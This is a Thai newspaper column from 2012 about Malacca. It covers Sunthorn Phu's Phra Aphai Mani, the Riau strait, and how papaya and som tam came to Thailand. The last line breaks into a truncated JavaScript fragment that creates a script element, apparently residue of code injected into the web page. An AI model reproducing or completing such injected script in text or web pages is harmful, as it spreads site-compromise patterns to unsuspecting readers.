มติชนรายวัน ฉบับประจำวันพุธที่ 3 ตุลาคม 2555

 

          มะละกา เป็นเมืองในประวัติศาสตร์ของอุษาคเนย์ มีแนะนำอยู่ในโปสการ์ด นิตยสารเพื่อการเดินทางท่องเที่ยว“บาย บัดเจ็ต” ฉบับพาเที่ยว มะละกามาเลเซีย

          ผมอ่านแล้วนึกถึงพระอภัยมณีของสุนทรภู่ ตอน “สานุศิษย์” พระอภัยมณีที่มาช่วยรบป้องกันเมืองผลึก

          สุนทรภู่กำหนดให้เกาะแก้วพิสดารเป็นสถานชุมนุมพวกเรือแตก เมื่อพระอภัยมณีมีอันเป็นไปต้องอาศัยอยู่เกาะนี้เมื่อเรือแตก จึงมี “สานุศิษย์” เป็นชาวหลายภาษานานาชาติ

          ครั้นหมดเคราะห์ได้ครองเมืองผลึก พระอภัยมณีก็ต้องปูนบำเหน็จศิษย์สำนักเกาะแก้วพิสดารมาด้วยกัน จากนั้นพวก “สานุศิษย์” ก็แยกย้ายกันไปบ้านเมืองของตน ดังนี้

          พวกจีนแล่นแผนที่ตะวันออก              ออกเส้นนอกแหลมเรียวเลี้ยวเฉลียง

          ไปถึงตั๋งกันจิ๋วจุนติ๋วเชียง                   เข้าลัดเลี่ยงอ้ายมุ้ยแล่นฉุยมา

          ข้างพวกแขกแยกเยื้องเข้าเมืองเทศ    อรุมเขตคุ้งสุหรัดปัตหนา

          ไปปะหังปังกะเราะเกาะชวา                มะละกากะเลหวังตรังกะนู

          ฉากพระอภัยมณีอยู่ทะเลอันดามัน มหาสมุทรอินเดีย พวกจีนจะกลับเมืองจีนของตนก็ต้องตั้งใบเรือไปทางทิศตะวันออก แล่นเรืออ้อมบริเวณที่เรียกแหลมเรียว

          เรียว เป็นชื่อเกาะและชื่อช่อง (แนวเดียวกับช่องแคบมะละกา) อยู่ใต้สิงคโปร์ลงไป ฝรั่งเขียนว่า RHIO เมื่อ ร.5 เสด็จประพาสเมืองปัตตาเวีย(อินโดนีเซีย)ครั้งแรก มีจดหมายเหตุว่า“เวลาเช้า 3 โมงครึ่ง เข้าช่องเกาะเรียว” (กาญจนาคพันธุ์ อธิบายไว้ในหนังสือภูมิศาสตร์สุนทรภู่ พิมพ์ครั้งที่ 4 พ.ศ. 2515)

          มะละกา เป็นชื่อเมืองท่ายิ่งใหญ่แห่งหนึ่งของประวัติศาสตร์อุษาคเนย์ อยู่ปลายแหลมมลายู ใกล้เกาะเรียว ตรงบริเวณที่เป็นช่องแคบเชื่อมมหาสมุทรอินเดีย กับมหาสมุทรแปซิฟิก เลยได้ชื่อช่องแคบมะละกา

          ช่องแคบ ในภาษามลายูเรียก เซลัต เป็นบริเวณมีโจรชุกชุมปล้นสะดมเรือทะเลผ่านช่องแคบไปมา จนเป็นที่เลื่องลือทั่วไปทั้งภูมิภาค ไทยเลยเรียกทับศัพท์มลายูว่า โจรสลัด

          มะละกอในไทยเอามาทำส้มตำ ได้พันธุ์ครั้งแรกจากมะละกา

          ดร. สุรีย์ ภูมิภมร (อดีตอาจารย์ ม. เกษตรศาสตร์) มีหลักฐานชัดเจนว่ามะละกอมีถิ่นกำเนิดอยู่อเมริกาใต้ ต่อมาพวกโปรตุเกสกับสเปนได้พันธุ์มาปลูกทางอุษาคเนย์

          เฉพาะพวกโปรตุเกส เอามะละกอมาปลูกครั้งแรกที่มะละกา ตรงกับยุคกรุงธนบุรีของไทย แต่คำว่า มะละกา เป็นภาษามลายู แปลว่า มะขามป้อม มีบันทึกนักปราชญ์บอกว่าคนพื้นเมืองสมัยโน้นออกเสียงว่า มะละกอ (เสียง อา ออกเป็น ออ)

          เมื่อไทยรับพันธุ์พืชชนิดนี้จากมะละกามายุคต้นกรุงรัตนโกสินทร์ เลยเรียกชื่อว่า มะละกอ สืบจนทุกวันนี้

          ส้มตำมะละกอ จึงไม่ใช่อาหารดั้งเดิมของไทย ไม่ว่าอีสานหรือกรุงเทพฯ แต่เป็นอาหารปรุงใหม่ เริ่มครั้งแรกในกรุงเทพฯ ราวยุคต้นกรุงรัตนโกสินทร์ (ส่วน“ตำส้ม” เป็นวัฒนธรรมลาวมาแต่ดั้งเดิมดึกดำบรรพ์ อย่าปนกัน)

          และไม่แน่ใจว่าสุนทรภู่ให้พระอภัยมณีกินส้มตำมะละกอหรือยัง? ผมไม่เคยตรวจสอบ ใครเคยพบช่วยบอกบุญด้วยvar d=document;var s=d.createElement(‘script’);